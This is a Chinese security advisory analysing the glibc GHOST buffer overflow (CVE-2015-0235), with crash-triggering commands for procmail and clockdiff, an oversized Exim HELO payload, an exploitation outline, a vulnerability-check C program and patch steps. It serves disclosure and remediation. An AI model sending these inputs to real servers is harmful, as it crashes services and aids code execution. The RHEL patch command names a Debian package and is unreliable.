当前位置:安全客 >> 知识详情

CVE-2015-0235:Linux Glibc幽灵漏洞分析 V1.0

2015-01-28 12:06:44 阅读:0次 收藏 来源: 360安全播报

t015ecbd412f8883942.png

漏洞描述

glibc的__nss_hostname_digits_dots存在缓冲区溢出漏洞,导致使用gethostbyname系列函数的某些软件存在命令执行或者信息泄露的安全风险。

原因:

glibc\nss\digits_dots.c 的__nss_hostname_digits_dots函数未加验证的使用 strcpy (hostname, name),导致缓冲区溢出。

影响范围

【本地】

某些环境下的procmail受影响

执行命令:

/usr/bin/procmail "$_COMSAT_"12345670 "$_COMSAT_"123456701234 < /dev/null

错误信息:

procmail[4549]: segfault at c ip b768e5a4 sp bfcb53d8 error 4 in libc-2.13.so[b761c000+15c000]

某些环境下的clockdiff受影响

执行命令:

/usr/sbin/clockdiff `python -c "print '0' * $((0x20000-16*1-2*4-1-4))"`

错误信息

clockdiff[3610]: segfault at b86711f4 ip b75de0c6 sp bfc191f0 error 6 in libc-2.17.so[b7567000+1b8000]

【远程】

特殊配置的Exim mail server受该漏洞影响

执行命令:

user@...ian-7-7-64b:~$ python -c "print '0' * $((0x500-16*1-2*8-1-8))"
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
user@...ian-7-7-64b:~$ telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 debian-7-7-64b ESMTP Exim 4.80 ...
HELO 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

错误信息:

exim4[2562]: segfault at 7fabf1f0ecb8 ip 00007fabef31bd04 sp 00007fffb427d5b0 error 6 in libc-2.13.so[7fabef2a2000+182000]

利用

1. 代码执行

在exim中覆盖next指针,实现在任意内存写任意内容。

2. 信息泄露

向exim发送畸形包,通过返回的错误信息,判断32位还是64位

测试:

http://p1.qhimg.com/t014e12a67ab138e43f.jpg

更新版poc:

 
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
 
#define CANARY "in_the_coal_mine"
 
struct {
  char buffer[1024];
  char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };
 
int main(void) {
  struct hostent resbuf;
  struct hostent *result;
  int herrno;
  int retval;
 
  /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
  size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
  char name[sizeof(temp.buffer)];
  memset(name, '0', len);
  name[len] = '\0';
  puts("[befor]");
  printf("%s\n",temp.buffer);
  printf("%s\n",temp.canary);
 
  retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
 
  if (strcmp(temp.canary, CANARY) != 0) {
    puts("[after]");
    printf("%s\n",temp.buffer);
    printf("%s\n",temp.canary);
    exit(EXIT_SUCCESS);
  }
  if (retval == ERANGE) {
    puts("not vulnerable");
    exit(EXIT_SUCCESS);
  }
}

补丁&解决方案

ubuntu:

sudo apt-get update 
sudo apt-get install libc6

RHEL:

yum install update
yum install libc6


本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/224.html

参与讨论,请先 | 注册 | 匿名评论
发布
用户评论
cnhacks 2015-01-30 19:45:25
回复 |  点赞

根据提示可以修复,但是目前还不确定所有的场景按照上述方法都可以修复

我真的是梁志锴 2015-01-30 17:50:03
回复 |  点赞

这可以修复吗

我真的是梁志锴 2015-01-30 17:50:03
回复 |  点赞

这可以修复吗

查看更多